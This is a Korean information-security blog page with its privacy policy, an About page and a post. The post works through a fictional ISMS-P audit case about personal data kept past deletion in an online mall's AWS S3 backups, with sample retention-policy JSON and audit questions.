ISMS-P & 보안실무 노트

개인정보처리방침

보안실무자J — Tue, 29 Sep 2026 13:28:15 +0900

개인정보처리방침

ISMS-P Case(이하 "본 블로그")는 방문자의 개인정보를 중요하게 생각하며, 개인정보 보호 관련 법령 및 서비스 운영정책을 준수하기 위해 노력하고 있습니다.

본 개인정보처리방침은 본 블로그를 이용하는 과정에서 개인정보가 어떻게 처리될 수 있는지와 개인정보 보호를 위해 적용하는 기준을 안내하기 위한 것입니다.

본 블로그는 티스토리(Tistory) 플랫폼을 이용하여 운영되는 개인 블로그이며, 별도의 회원가입, 상품 판매, 결제, 뉴스레터 신청 또는 개인정보 입력 양식을 직접 운영하고 있지 않습니다.

시행일: 2026년 9월 29일

1. 개인정보의 처리

본 블로그는 방문자의 개인정보를 별도의 데이터베이스에 직접 수집하여 관리하는 서비스를 운영하고 있지 않습니다.

다만 블로그 이용 과정에서 티스토리 플랫폼의 기능 또는 방문자가 직접 입력하는 댓글 및 방명록 등을 통해 개인정보가 처리될 수 있습니다.

방문자가 직접 작성할 수 있는 정보는 다음과 같습니다.

댓글 작성 시 입력하는 닉네임 및 댓글 내용
방명록 작성 시 입력하는 닉네임 및 작성 내용
방문자가 댓글이나 방명록에 자발적으로 입력하는 기타 정보

댓글이나 방명록에 개인정보를 직접 입력하는 경우 해당 내용이 다른 방문자에게 공개될 수 있으므로, 전화번호, 주소, 이메일 주소, 계좌정보, 주민등록번호 등 불필요한 개인정보를 입력하지 않으시기를 권장합니다.

2. 티스토리 및 카카오 서비스에서 처리되는 정보

본 블로그는 티스토리 서비스를 이용하여 운영되고 있습니다.

티스토리 서비스 이용 과정에서는 서비스의 정상적인 제공 및 운영을 위해 IP 주소, 쿠키, 방문 일시, 서비스 이용 기록, 기기 정보 등의 정보가 자동으로 생성되거나 처리될 수 있습니다.

이와 같은 정보의 구체적인 처리 항목, 처리 목적, 보유기간 및 이용자의 권리 등에 관한 사항은 티스토리 서비스를 제공하는 카카오의 개인정보처리방침 및 관련 정책에 따릅니다.

본 블로그 운영자는 티스토리 및 카카오가 서비스 운영을 위해 보유하거나 처리하는 개인정보 전체에 직접 접근하거나 이를 별도로 관리하지 않습니다.

3. 개인정보의 처리 목적

본 블로그에서 방문자가 직접 작성한 댓글 및 방명록 등의 정보는 다음과 같은 목적으로 이용될 수 있습니다.

게시글에 대한 의견 및 피드백 확인
댓글 및 방명록 관리
문의 또는 오류 제보에 대한 확인
스팸 및 광고성 게시물 관리
부적절한 콘텐츠의 관리
블로그의 정상적인 운영

본 블로그 운영자는 댓글이나 방명록에 작성된 개인정보를 위 목적과 관계없는 용도로 임의로 이용하지 않습니다.

4. 개인정보의 보유 및 삭제

본 블로그 운영자가 직접 관리할 수 있는 댓글 및 방명록의 내용은 게시물의 운영 및 관리에 필요한 범위에서 처리합니다.

작성자가 직접 삭제할 수 있는 게시물은 티스토리에서 제공하는 기능을 이용하여 삭제할 수 있습니다.

개인정보와 관련된 삭제 요청이 필요한 경우에는 본 블로그의 방명록을 통해 운영자에게 요청하실 수 있습니다.

다만 티스토리 및 카카오의 시스템에서 처리되는 회원정보, 접속기록, 쿠키 및 서비스 이용기록 등의 보유 및 삭제 기간은 해당 서비스 제공자의 개인정보처리방침 및 관련 법령에 따릅니다.

법령에 따라 보존이 필요한 정보는 해당 법령에서 정한 기간 동안 보존될 수 있습니다.

5. 개인정보의 제3자 제공

본 블로그 운영자는 방문자가 제공한 개인정보를 원칙적으로 제3자에게 판매하거나 제공하지 않습니다.

다만 다음의 경우에는 예외로 할 수 있습니다.

법령에 특별한 규정이 있는 경우
수사기관 또는 관계기관이 법령에 따른 적법한 절차에 따라 요청하는 경우
티스토리·카카오 등 플랫폼 서비스의 정상적인 제공을 위해 해당 서비스 제공자가 개인정보를 처리하는 경우
Google AdSense 등 외부 광고 서비스를 이용하는 경우 해당 서비스의 운영에 필요한 정보가 관련 사업자의 시스템을 통해 처리되는 경우

티스토리 및 카카오 서비스에서 처리되는 개인정보에 대해서는 해당 서비스 제공자의 개인정보처리방침이 적용됩니다.

6. Google Analytics 및 쿠키 이용

본 블로그는 방문자의 이용 현황을 분석하고 콘텐츠 및 블로그 운영을 개선하기 위해 Google Analytics를 이용하고 있습니다.

Google Analytics는 방문자가 본 블로그를 이용하는 과정에서 다음과 같은 정보를 수집·처리할 수 있습니다.

방문 및 세션 관련 통계
페이지 조회 및 사이트 이용 기록
브라우저 및 기기 관련 정보
대략적인 지역 정보
쿠키 또는 이에 준하는 식별자를 통해 수집되는 이용 정보

Google Analytics는 웹사이트 방문자와 세션을 구분하고 이용 통계를 산출하기 위해 쿠키를 사용할 수 있습니다. Google Analytics의 기본 설정에서는 _ga 쿠키 등이 사용될 수 있으며, 실제 수집 항목과 쿠키 사용 여부는 설정 및 기능 적용 상태에 따라 달라질 수 있습니다.

수집된 정보는 방문 통계 확인, 콘텐츠 이용 현황 분석 및 블로그 운영 개선을 위한 목적으로 이용됩니다.

Google Analytics를 통해 수집·처리되는 정보에 관한 자세한 사항은 Google의 개인정보처리방침 및 Google Analytics 관련 안내를 참고하시기 바랍니다.

방문자는 웹브라우저의 설정을 통해 쿠키를 제한하거나 삭제할 수 있습니다. 또한 Google에서 제공하는 Google Analytics 차단 브라우저 부가기능을 이용하여 Google Analytics에 의한 측정을 차단할 수 있습니다. 쿠키 또는 측정을 차단하는 경우 일부 서비스의 이용이나 통계 수집에 영향을 줄 수 있습니다.

Google AdSense 및 광고 쿠키

현재 본 블로그는 Google AdSense 심사를 진행하고 있습니다. 향후 광고가 게재되는 경우 Google 및 제3자 광고 사업자가 광고 제공, 광고 성과 측정 또는 맞춤형 광고 제공 등을 위해 쿠키나 유사한 기술을 사용할 수 있습니다.

광고가 실제로 게재되면 광고 서비스의 적용 상태와 관련 정책에 맞게 본 항목을 업데이트하겠습니다.

7. 외부 사이트 및 링크

본 블로그의 게시글에는 국가법령정보센터, 개인정보보호위원회, 한국인터넷진흥원(KISA), 보안 솔루션 및 제조사 사이트, GitHub, YouTube 등 외부 웹사이트로 연결되는 링크가 포함될 수 있습니다.

외부 웹사이트로 이동한 이후의 개인정보 처리, 쿠키 사용 및 기타 개인정보 보호에 관한 사항은 해당 웹사이트의 개인정보처리방침 및 운영정책에 따릅니다.

본 블로그 운영자는 외부 웹사이트의 개인정보 처리 방식이나 개인정보 보호 수준을 직접 관리하지 않습니다.

8. 개인정보의 안전성 확보

본 블로그 운영자는 직접 관리하는 개인정보가 있는 경우 개인정보 보호를 위해 필요한 범위에서 안전하게 관리하도록 노력하고 있습니다.

또한 티스토리 및 카카오 플랫폼에서 처리되는 개인정보의 기술적·관리적 보호조치는 해당 서비스 제공자의 보안정책 및 개인정보처리방침에 따릅니다.

9. 이용자의 권리 및 개인정보 관련 문의

방문자는 본인이 작성한 댓글이나 방명록과 관련하여 가능한 범위에서 수정 또는 삭제를 요청할 수 있습니다.

개인정보 처리와 관련된 문의 또는 삭제 요청이 있는 경우 본 블로그의 방명록을 통해 운영자에게 요청하실 수 있습니다.

다만 방명록은 다른 방문자에게 공개될 수 있으므로 개인정보 관련 문의를 작성하실 때에는 전화번호, 주소, 주민등록번호, 계좌번호, 비밀번호 등의 개인정보를 입력하지 않도록 주의하시기 바랍니다.

필요한 경우 운영자는 요청 내용 확인을 위해 최소한의 추가 정보를 요청할 수 있습니다.

10. 개인정보처리방침의 변경

본 개인정보처리방침은 관련 법령, 티스토리 서비스 정책, 블로그 운영 방식 또는 광고·통계 서비스의 변경에 따라 수정될 수 있습니다.

개인정보처리방침이 변경되는 경우 변경된 내용을 본 페이지에 게시하여 안내합니다.

시행일: 2026년 9월 29일

11. 관련 정책

본 블로그에서 이용하는 티스토리 및 외부 서비스와 관련된 개인정보 처리 사항은 각 서비스 제공자의 개인정보처리방침 및 관련 정책을 함께 확인하시기 바랍니다.

본 개인정보처리방침은 본 블로그의 운영 방식에 따라 작성되었으며, 향후 블로그에서 새로운 개인정보 처리 기능이나 외부 서비스를 사용하는 경우 해당 내용을 반영하여 업데이트할 예정입니다.

ISMS-P와 정보보안 실무를 기록하는 공간

보안실무자J — Tue, 29 Sep 2026 13:18:25 +0900

이 블로그는 정보보호 관리체계(ISMS-P), 개인정보보호, 보안 취약점 점검, 시스템 보안 운영과 관련된 실무 내용을 기록하는 공간이다.

정보보호 업무를 수행하면서 접하게 되는 인증기준, 보안 점검 항목, 시스템 운영 과정에서 발생하는 다양한 상황을 기술적인 관점과 정보보호 관리 관점에서 정리하고 있다.

주요 콘텐츠

ISMS-P 실무

ISMS-P 인증기준을 실제 정보보호 업무에서 어떻게 이해하고 적용할 수 있는지 정리한다.

단순히 인증기준의 문구를 설명하는 데 그치지 않고, 심사 과정에서 어떤 자료를 확인할 수 있는지, 담당자 인터뷰에서는 어떤 내용을 확인하는지, 운영 현황과 증적을 어떻게 연결해서 판단할 수 있는지를 중심으로 다룬다.

보안 실무 및 트러블슈팅

Windows, Linux, 네트워크, 서버, 보안 솔루션 등의 운영 과정에서 발생하는 문제와 해결 과정을 기록한다.

특히 폐쇄망이나 제한된 네트워크 환경처럼 일반적인 인터넷 연결 환경과 다른 조건에서 발생할 수 있는 운영 사례와 점검 방법을 함께 다룬다.

보안 취약점 점검 및 자동화

서버와 시스템의 보안 설정을 점검하고 결과를 정리하는 과정에서 활용할 수 있는 Bash, PowerShell, Python 등의 자동화 방법을 다룬다.

반복적인 점검 업무를 자동화하고 점검 결과를 일관된 형식으로 수집하는 방법, 실제 운영환경에서 발생할 수 있는 예외 상황과 오탐 가능성도 함께 기록한다.

개인정보보호 및 데이터 보안

개인정보의 수집·이용·보관·파기 과정에서 발생할 수 있는 기술적·관리적 통제 이슈를 다룬다.

데이터베이스, Data Lake, 클라우드 환경 등 다양한 데이터 처리 환경에서 개인정보를 어떻게 보호하고 관리할 것인지 실무적인 관점에서 정리한다.

콘텐츠 작성 원칙

이 블로그에서는 정보보안과 관련된 내용을 작성할 때 다음 원칙을 중요하게 생각한다.

첫째, 가능한 한 공식적인 인증기준, 법령 및 기술자료를 확인하고 내용을 작성한다.

둘째, 특정 시스템이나 환경에서만 적용되는 내용을 일반적인 사실처럼 단정하지 않도록 구분한다.

셋째, 기술적인 설명에서는 실제 운영환경에서 발생할 수 있는 제약사항과 예외 상황을 함께 고려한다.

넷째, ISMS-P 모의심사나 교육을 목적으로 구성한 가상 사례는 실제 기업의 심사 결과나 실제 사고 사례와 혼동되지 않도록 가상 시나리오임을 명확하게 표시한다.

다섯째, 하나의 보안 주제를 단순한 개념 설명으로 끝내기보다 실제 점검, 증적 확인, 원인 분석, 대응 및 검증이라는 업무 흐름에서 이해할 수 있도록 정리하는 것을 목표로 한다.

이 블로그에서 다루는 정보

주요 관심 분야는 다음과 같다.

ISMS-P 인증기준 및 인증심사 실무
개인정보보호 및 개인정보 처리 통제
서버 보안 설정 및 취약점 점검
Windows Server / Linux 보안
네트워크 및 시스템 보안
보안 로그 분석 및 모니터링
보안 점검 자동화
Bash / PowerShell / Python을 활용한 업무 자동화
클라우드 및 데이터 보안
보안 운영 과정의 트러블슈팅

운영 목적

정보보호 업무는 문서에 작성된 기준만으로 이해하기 어려운 경우가 많다.

같은 인증기준이라도 실제 시스템의 구성, 업무 프로세스, 데이터 흐름, 담당자의 역할에 따라 확인해야 할 사항이 달라질 수 있다.

이 블로그에서는 이러한 차이를 기록하고, 정보보호 담당자와 시스템 운영자가 실제 업무에서 참고할 수 있는 자료를 지속적으로 정리하는 것을 목표로 한다.

특히 단순히 정답을 제시하기보다는 왜 해당 내용을 확인해야 하는지, 어떤 증적을 통해 판단할 수 있는지, 운영환경에서는 어떤 예외가 발생할 수 있는지를 함께 설명하는 콘텐츠를 만들어가고 있다.

가상 시나리오에 대한 안내

일부 ISMS-P 관련 글에서는 인증심사 학습과 교육을 위해 가상의 기업, 시스템 환경, 인터뷰 내용 및 증적을 구성하여 사용한다.

이러한 글에 등장하는 기업명, 담당자, 시스템 구성, 수치 및 문서 등은 교육과 학습을 목적으로 구성한 가상의 내용이며 특정 기업이나 실제 인증심사 결과를 의미하지 않는다.

실제 법령이나 인증기준을 다루는 글에서는 작성 시점의 공식 자료를 기준으로 내용을 확인하고, 적용 범위나 해석에 따라 달라질 수 있는 부분은 별도로 구분하여 설명한다.

운영자

정보보호 및 보안 운영 업무를 수행하면서 경험한 내용을 바탕으로 이 블로그를 운영하고 있다.

정보보호 관리체계, 개인정보보호, 서버 및 시스템 보안, 보안 점검 자동화 등 업무에서 활용할 수 있는 내용을 지속적으로 정리하고 있다.

이 블로그의 자료가 정보보호 담당자, 시스템 운영자, 보안 엔지니어 및 ISMS-P 인증을 준비하는 사람들에게 실무적인 참고자료가 되기를 바란다.

백업에 남아 있는 개인정보, 5년 보관해도 될까?

보안실무자J — Thu, 24 Sep 2026 10:00:50 +0900

백업에 남아 있는 개인정보, 5년 보관해도 될까?

— ISMS-P 3.4.1 관점에서 보는 클라우드 백업 개인정보 파기

※ 본 글은 ISMS-P 인증기준을 이해하기 위한 가상의 심사 시나리오다. 기업명, 담당자, 문서, 수치 및 설정값은 교육 목적으로 구성했으며 실제 기업의 심사 결과나 특정 기업의 운영사례가 아니다.

1. 들어가며

개인정보 파기 업무를 점검하다 보면 다음과 같은 답변을 자주 접하게 된다.

"운영 DB에서는 이미 삭제했습니다."

하지만 클라우드 환경에서는 운영 DB만 확인해서는 부족할 수 있다.

하나의 주문 데이터가 다음과 같이 여러 시스템으로 복제될 수 있기 때문이다.

운영 DB
   │
   ├── 백업
   ├── 스냅샷
   ├── 로그 저장소
   ├── 분석용 저장소
   └── 외부 연계 시스템

특히 백업 시스템은 장애나 재해에 대비하기 위해 일정 기간 데이터를 보존하는 경우가 많다.

문제는 운영 DB의 개인정보가 파기된 이후에도 백업본에 동일한 개인정보가 남아 있을 때 발생한다.

그렇다면 백업 데이터는 운영 DB와 동일한 시점에 개인별로 삭제해야 할까?

반대로 백업이라는 이유만으로 5년, 10년 동안 보관해도 될까?

이 문제는 단순히 "백업 데이터도 즉시 삭제해야 한다"라고 판단해서는 안 된다.

해당 개인정보가 실제로 파기 대상인지, 백업본의 보존 목적과 기간에 근거가 있는지, 복구 시 파기된 개인정보가 다시 살아나지 않도록 통제하고 있는지를 함께 확인해야 한다.

이번 사례에서는 AWS S3 기반 백업 스토리지에 주문·배송 개인정보가 저장되고 있으며, 운영 DB에서는 파기 처리가 이루어지고 있지만 백업 데이터에는 5년의 일괄 보존기간이 적용되고 있는 상황을 살펴본다.

2. 기업 개요 및 가상 운영 시나리오

기업명

A사

서비스

패션 전문 인터넷쇼핑몰

서비스 규모

회원 약 350만 명
의류 및 잡화 이커머스 플랫폼
최근 3개월 내 외부 풀필먼트 파트너사 API 연동

인프라 환경

AWS EC2
AWS RDS MySQL
AWS S3 Backup Storage
Kubernetes
외부 풀필먼트 API

주요 담당자

데이터플랫폼팀 김 과장

김 과장은 데이터 분석과 백업·보존 정책 관리를 담당하고 있다.

3. 외부 풀필먼트 API 연동 과정

A사는 배송 속도를 개선하기 위해 외부 풀필먼트 파트너사의 API를 신규 도입하였다.

주문 처리 과정에서 다음과 같은 데이터가 연동되고 있었다.

고객 주문
   ↓
A사 주문 DB
   ↓
풀필먼트 API
   ↓
배송 처리

이 과정에서 주문 이력과 배송 관련 데이터를 장애 분석과 통계 산출에 활용하기 위해 별도의 백업 스토리지에도 적재하였다.

백업 영역에는 다음과 같은 정보가 포함되어 있었다.

수취인 성명
수취인 연락처
배송지 주소
주문 관련 정보
API 원본 Payload

즉, 단순한 시스템 로그가 아니라 개인정보가 포함된 주문 데이터의 복제본이 별도 스토리지에 존재하는 구조였다.

4. 운영 DB에서는 정상적으로 파기하고 있었다

A사의 운영 DB에서는 회원 탈퇴 및 보유기간 경과 데이터를 정기적으로 처리하고 있었다.

회원 탈퇴
   ↓
운영 DB 개인정보 삭제
   ↓
파기 결과 기록

마케팅 동의 철회
   ↓
해당 목적 관련 처리 중단 및 데이터 정제

문제는 이 처리 과정이 백업 스토리지까지 동일하게 연결되지 않았다는 점이다.

백업 스토리지는 시스템 장애와 재해복구를 목적으로 일정 기간 전체 스냅샷을 보존하고 있었다.

5. 현장 인터뷰

[인터뷰 - 업무 관행 확인]

심사원

마케팅 및 배송 목적으로 수집한 개인정보의 보유기간이 만료되거나 파기 사유가 발생했을 때, 메인 데이터베이스 외에 백업 시스템에 저장된 개인정보는 어떻게 관리하고 있습니까?

김 과장 / 데이터플랫폼팀

회원 탈퇴 시 메인 DB의 개인정보는 삭제하고 있습니다.

마케팅 수신동의 철회도 매일 밤 배치 프로그램을 통해 정제하고 있습니다.

백업은 전체 스냅샷 형태로 보관하고 있습니다.

심사원

백업 스토리지에 저장된 개별 이용자의 주문 및 배송정보도 운영 DB의 파기 주기와 동일하게 처리하고 있습니까?

김 과장

백업은 재해복구를 위해 스토리지 레벨에서 일정 기간 전체를 보관하고 있습니다.

특정 개인의 데이터를 백업본에서 선택적으로 삭제하는 것은 기술적으로 어렵습니다.

그래서 백업 보존기간을 5년으로 설정해 두었으며 기간이 지나면 자동으로 삭제되도록 구성했습니다.

6. 현장 수집 증적

증적 1. 백업 스토리지 보존 정책

{
  "backup_policy_version": "v2.4_external_logistics_sync",
  "storage_target": "s3://a-mall-prod-backup-archive/logistics/",
  "retention_rules": {
    "default_snapshot_retention_days": 1825,
    "automatic_purge_enabled": true,
    "exclude_paths": [
      "/order_history_raw/",
      "/api_payload_archive/"
    ],
    "target_data_types": [
      "shipping_recipient_name",
      "shipping_recipient_phone",
      "delivery_address"
    ],
    "note": "물류 API 연동 초기 장애 분석 및 통계 산출을 위해 원본 페이로드 아카이브는 5년간 보존 적용 중"
  }
}

이 증적에서 중요한 부분은 automatic_purge_enabled가 true라는 사실만이 아니다.

실제 문제는 다음과 같다.

자동 삭제 기능 있음
        ↓
그러나 특정 경로 제외
        ↓
order_history_raw
api_payload_archive
        ↓
5년 보존

즉, 자동화가 존재하더라도 파기 대상 개인정보가 자동화 범위에서 제외되어 있다면 파기 통제로서 충분하지 않을 수 있다.

7. 증적 2. 개인정보 파기 관리대장

[202X년 상반기 개인정보 파기 결과 보고]

1. 대상 기간
202X.01.01 ~ 202X.06.30

2. 파기 대상
총 142,500건

3. 처리 결과

- 운영 DB 회원 테이블
  → 물리적 삭제 완료

- 마케팅 활용 동의 철회 고객 DB
  → 가명처리 및 분리 보관 완료

- 백업 스토리지
  → 재해복구 및 물류 시스템 연동 검증용 스냅샷 보존
  → 보존기간 5년
  → 개별 이용자 요청에 따른 백업 데이터 선별 파기 미적용

이 문서는 심사에서 상당히 중요한 증적이다.

운영 DB에서는 파기가 완료되었다고 기록하고 있지만, 동시에 백업 스토리지에서는 해당 개인정보가 계속 보관되고 있다는 사실을 명시하고 있기 때문이다.

8. ISMS-P 기준을 어떻게 연결할 것인가

이번 사례에서는 3.4.1 개인정보 파기를 핵심 기준으로 보는 것이 적절하다.

ISMS-P는 개인정보 처리 단계별 요구사항에서 3.2를 개인정보 보유 및 이용 시 보호조치, 3.4를 개인정보 파기 시 보호조치로 구분하고 있다.

또한 개인정보 보호법 제21조는 보유기간 경과, 처리 목적 달성 등 개인정보가 불필요하게 된 경우 지체 없이 파기하도록 하고 있으며, 다른 법령에 따라 보존해야 하는 경우에는 다른 개인정보와 분리하여 저장·관리하도록 규정한다.

따라서 이번 사례에서는 다음과 같이 판단하는 것이 적절하다.

3.2.1 개인정보 현황관리
        │
        ├─ 백업 스토리지의 개인정보 현황 파악
        ├─ 처리 목적 및 보유기간 관리
        └─ 실제 데이터 흐름과 현황의 일치 여부
                 │
                 ▼
3.4.1 개인정보 파기
        │
        ├─ 보유기간 경과 여부
        ├─ 파기 대상 식별
        ├─ 파기 범위
        └─ 파기 결과 검증

즉, 3.2.1은 개인정보 현황 및 보유기간 관리 측면의 보조 기준, 3.4.1은 실제 파기 통제의 핵심 기준으로 보는 것이 자연스럽다.

9. 현장 심사 지적 사항

[결함 1] 보유기간 경과 개인정보의 백업 스토리지 장기 보관

관련 기준	3.4.1 개인정보 파기
보조 검토 기준	3.2.1 개인정보 현황관리
운영현황	외부 풀필먼트 API 연동 과정에서 주문·배송 개인정보가 S3 백업 스토리지에 복제되어 보관되고 있음
확인내용	운영 DB에서는 파기 처리가 이루어지고 있으나 백업 스토리지의 특정 경로는 자동 파기 대상에서 제외되어 있음
주요 문제	해당 백업 데이터에 대한 5년 보존의 필요성·근거와 파기 시점 관리가 충분히 확인되지 않음
조치방향	개인정보별 보유기간 및 보존 근거를 재검토하고, 파기 대상 개인정보에 대한 백업 보존·삭제 정책 및 검증체계를 정비해야 함

결함 판단의 핵심

여기서 "백업 데이터가 운영 DB와 동시에 삭제되지 않았다"는 사실만으로 결함을 확정하는 것은 적절하지 않다.

먼저 왜 5년 동안 보관해야 하는지를 확인해야 한다.

10. 5년 보관이라는 설정만으로는 충분한 근거가 되지 않는다

증적에는 다음과 같이 기록되어 있다.

"물류 API 연동 초기 장애 분석 및 통계 산출을 위해 원본 페이로드 아카이브는 5년간 보존"

그러나 여기서 심사원이 추가로 확인해야 할 질문이 있다.

왜 5년인가?
   ↓
법령상 근거가 있는가?
   ↓
업무상 반드시 필요한 기간인가?
   ↓
5년 동안 원본 개인정보가 필요한가?
   ↓
개인정보가 아닌 통계·비식별 형태로 대체할 수 있는가?

단순히 "장애 분석을 위해 필요하다"는 사유만으로 개인정보가 포함된 원본 Payload를 5년 동안 보관해야 한다고 바로 결론 내릴 수는 없다.

보존 목적과 기간의 필요성·적정성을 별도로 검토해야 한다.

11. 특히 '마케팅 동의 철회'와 '주문정보 파기'를 구분해야 한다

이번 원문에서 하나 더 주의해야 할 부분이 있다.

"마케팅 활용 목적의 동의 철회 건에 대해 운영 DB에서는 정상적으로 가명처리 및 파기가 수행된다."

여기서 마케팅 동의 철회가 발생했다고 해서 주문·배송을 위해 필요한 모든 개인정보까지 즉시 삭제해야 한다고 단정해서는 안 된다.

예를 들어 하나의 고객 데이터가 다음과 같이 여러 목적에 사용될 수 있다.

고객 개인정보
   │
   ├─ 주문 처리
   ├─ 배송
   ├─ 고객지원
   └─ 마케팅

마케팅 목적의 처리에 대한 철회와 주문·배송을 위해 필요한 개인정보의 보유 여부는 별도로 판단해야 한다.

따라서 심사에서는 다음을 구분해야 한다.

마케팅 목적의 처리 중단
주문·배송 목적의 보유
법령상 보존
회원 탈퇴
전체 개인정보 파기
백업 데이터의 보존

이 구분이 없으면 동의 철회와 개인정보 전체 파기를 동일하게 보는 오류가 발생할 수 있다.

12. 백업 데이터는 무조건 개인별 즉시 삭제해야 하는가?

이 부분이 이번 사례의 핵심이다.

백업 시스템은 일반 운영 DB와 구조가 다르기 때문에 특정 개인의 레코드만 선택적으로 삭제하기 어려운 경우가 실제로 존재한다.

따라서 다음과 같이 단순하게 판단해서는 안 된다.

"백업에서 개인별 삭제가 어려우므로 무조건 결함이다."

반대로 다음과 같이 판단하는 것도 적절하지 않다.

"백업이므로 5년 보관해도 된다."

핵심은 백업의 목적, 보존주기, 개인정보의 보유 필요성, 접근통제, 복구 방식, 복구 후 파기 처리를 함께 보는 것이다.

특히 백업을 복구했을 때 이미 운영 DB에서 파기한 개인정보가 다시 활성화되지 않도록 하는 절차가 중요하다.

13. 백업 복구 시 개인정보가 다시 살아나는 문제

예를 들어 다음과 같은 상황을 생각할 수 있다.

2026.01
회원 탈퇴
   ↓
운영 DB 개인정보 삭제

2026.02
전체 시스템 장애 발생
   ↓
2025년 12월 백업 복구
   ↓
탈퇴 회원 개인정보 재생

이 경우 단순히 "백업은 5년 보관한다"는 정책만으로는 충분하지 않다.

복구 후에는 다음과 같은 처리가 필요할 수 있다.

백업 복구
   ↓
최신 탈퇴/파기 대상 목록 확인
   ↓
보유기간 경과 데이터 재처리
   ↓
서비스 운영 재개

따라서 백업 시스템의 개인정보 보호는 백업 시점의 저장뿐 아니라 복구 시점까지 포함하여 설계해야 한다.

14. 실무적 위험성 분석

이번 사례에서 확인되는 위험은 다음과 같다.

데이터 잔존	운영 DB에서 삭제된 개인정보가 백업본에 계속 존재
보유기간	백업 경로에 일괄 5년 보존 설정
목적 적정성	원본 Payload를 5년 보관해야 하는 근거 확인 필요
파기 통제	특정 경로가 자동 파기 대상에서 제외
복구 위험	과거 백업을 복구할 경우 이미 파기한 개인정보가 재생될 가능성
현황관리	백업 스토리지의 개인정보 현황과 운영 DB의 파기 현황을 별도로 관리
관리 복잡성	클라우드 백업·스냅샷이 증가할수록 개인정보 저장 위치가 분산될 가능성

따라서 이번 사례의 핵심 위험은 단순히 "S3에 개인정보가 남아 있다"는 것이 아니다.

개인정보의 보유기간과 실제 백업 데이터의 보존기간이 서로 연결되어 있지 않다는 점이 핵심이다.

15. 원인 분석

직접적인 원인

외부 풀필먼트 API 연동 과정에서 생성된 원본 Payload 아카이브에 기존 백업 보존정책을 적용하면서 개인정보 보유기간과 백업 보존기간이 분리되었다.

기술적 원인

운영 DB의 개인정보 파기 배치와 S3 백업 Lifecycle 정책이 서로 연계되어 있지 않았다.

관리적 원인

신규 API 연동 과정에서 생성된 개인정보 저장 위치와 보유기간을 기존 개인정보 현황관리 체계에 충분히 반영하지 못했다.

정책적 원인

백업 보존기간을 시스템 장애복구 관점에서 일괄 5년으로 설정했지만, 해당 기간 동안 원본 개인정보를 계속 보유해야 하는지에 대한 별도의 검토가 부족했다.

검증 원인

파기 결과 확인 시 운영 DB를 중심으로 확인하고, 백업 스토리지의 개인정보 잔존 여부와 보존 근거를 함께 대사하지 않았다.

16. 기술적 조치 방향

원문의 다음 조치는 방향을 조금 수정하는 것이 좋다.

"백업 보존기간을 운영 DB 파기 주기와 동기화하여 30일로 단축한다."

30일이라는 숫자를 일률적인 정답처럼 제시하기보다는 업무 및 DR 요구사항을 검토하여 백업 보존기간을 재설계한다고 표현하는 것이 적절하다.

예를 들어 다음과 같이 구성할 수 있다.

[개인정보 데이터]
       │
       ├─ 운영 DB
       │     └─ 개인정보 보유기간 기준 적용
       │
       └─ 백업
             ├─ 백업 목적 확인
             ├─ RPO/RTO 확인
             ├─ 백업 보존기간 결정
             ├─ 개인정보 포함 여부 확인
             └─ 보존 종료 후 자동 삭제

17. 개선된 백업 정책 예시

예를 들어 해당 백업의 실제 DR 요구사항 검토 결과 30일 보존으로 충분하다고 판단했다면 다음과 같이 정책을 구성할 수 있다.

{
  "backup_policy_version": "v2.5_external_logistics_sync",
  "storage_target": "s3://a-mall-prod-backup-archive/logistics/",
  "retention_rules": {
    "default_snapshot_retention_days": 30,
    "automatic_purge_enabled": true,
    "exclude_paths": [],
    "target_data_types": [
      "shipping_recipient_name",
      "shipping_recipient_phone",
      "delivery_address"
    ],
    "verification": {
      "schedule": "monthly",
      "check_retention_expired_data": true,
      "check_lifecycle_execution": true,
      "check_failed_deletions": true
    },
    "note": "DR 요구사항 검토 결과에 따라 백업 보존기간을 설정하고 보존기간 종료 후 자동 삭제되도록 관리"
  }
}

중요한 것은 30일이라는 숫자 자체가 아니라 그 숫자를 결정한 근거가 존재하는 것이다.

18. S3 Lifecycle 정책을 적용할 때 확인할 사항

S3 Lifecycle을 적용했다고 해서 개인정보 파기 통제가 자동으로 완성되는 것은 아니다.

다음 항목을 확인해야 한다.

Lifecycle Rule
      │
      ├─ 대상 Bucket
      ├─ Prefix / Tag
      ├─ 적용 대상 객체
      ├─ 만료 기준
      ├─ Noncurrent Version
      ├─ Delete Marker
      └─ 실제 실행 결과

특히 S3 Versioning이 사용되고 있다면 현재 객체만 삭제하고 이전 버전이 남아 있는지 확인해야 한다.

따라서 다음과 같은 검증이 필요하다.

aws s3api get-bucket-versioning \
  --bucket a-mall-prod-backup-archive

그리고 실제 파기 대상에 대해 객체 및 버전 관리 상태를 확인한다.

19. 파기 검증 로그

파기 결과는 단순히 "삭제 완료"라고 기록하는 것보다 대상과 결과를 대사할 수 있도록 관리하는 것이 좋다.

{
  "deletion_batch_id": "DEL-202X-0630-001",
  "target_count": 142500,
  "operational_db_deleted": 142500,
  "backup_scope_checked": true,
  "backup_retention_policy_verified": true,
  "lifecycle_execution_verified": true,
  "deletion_failures": 0,
  "retention_exceptions": 0,
  "verification_status": "COMPLETED"
}

이런 형태라면 심사 시 다음을 확인하기 쉽다.

파기 대상 모집단
운영 DB 처리 결과
백업 범위 확인 여부
Lifecycle 실행 여부
삭제 실패 건수
보존 예외 건수
최종 검증 결과

20. 백업 복구 테스트도 함께 확인해야 한다

백업 관리에서 놓치기 쉬운 부분이다.

백업은 단순히 삭제하는 것보다 복구했을 때 개인정보 파기 통제가 어떻게 작동하는지가 중요하다.

예를 들어 복구 테스트에서 다음을 확인할 수 있다.

백업 복구
   ↓
DB 복원
   ↓
탈퇴회원 목록 대사
   ↓
보유기간 경과 데이터 대사
   ↓
파기 대상 재처리
   ↓
서비스 운영 전 검증

이러한 절차가 있으면 백업 복구로 인해 과거 개인정보가 다시 활성화되는 위험을 줄일 수 있다.

21. 현장 심사에서 확인할 질문

개인정보 현황

외부 풀필먼트 API로 어떤 개인정보가 전송되는가?
API 연동으로 새롭게 생성된 저장소는 개인정보 현황에 반영되어 있는가?
S3 백업 스토리지의 개인정보 항목과 보유기간은 관리되고 있는가?

보유기간

왜 5년을 보존하는가?
법령상 보존근거가 있는가?
업무상 필요한 기간은 얼마인가?
장애 분석에 5년치 원본 개인정보가 실제로 필요한가?
통계 데이터로 대체할 수 있는가?

파기

운영 DB 파기와 백업 데이터 파기는 어떻게 연계되는가?
백업 데이터는 언제 삭제되는가?
Lifecycle 정책의 대상에서 제외된 경로가 있는가?
파기 실패 건을 어떻게 탐지하는가?

복구

백업을 복구하면 탈퇴 회원 정보가 다시 생성되는가?
복구 후 파기 대상 정보를 어떻게 재처리하는가?
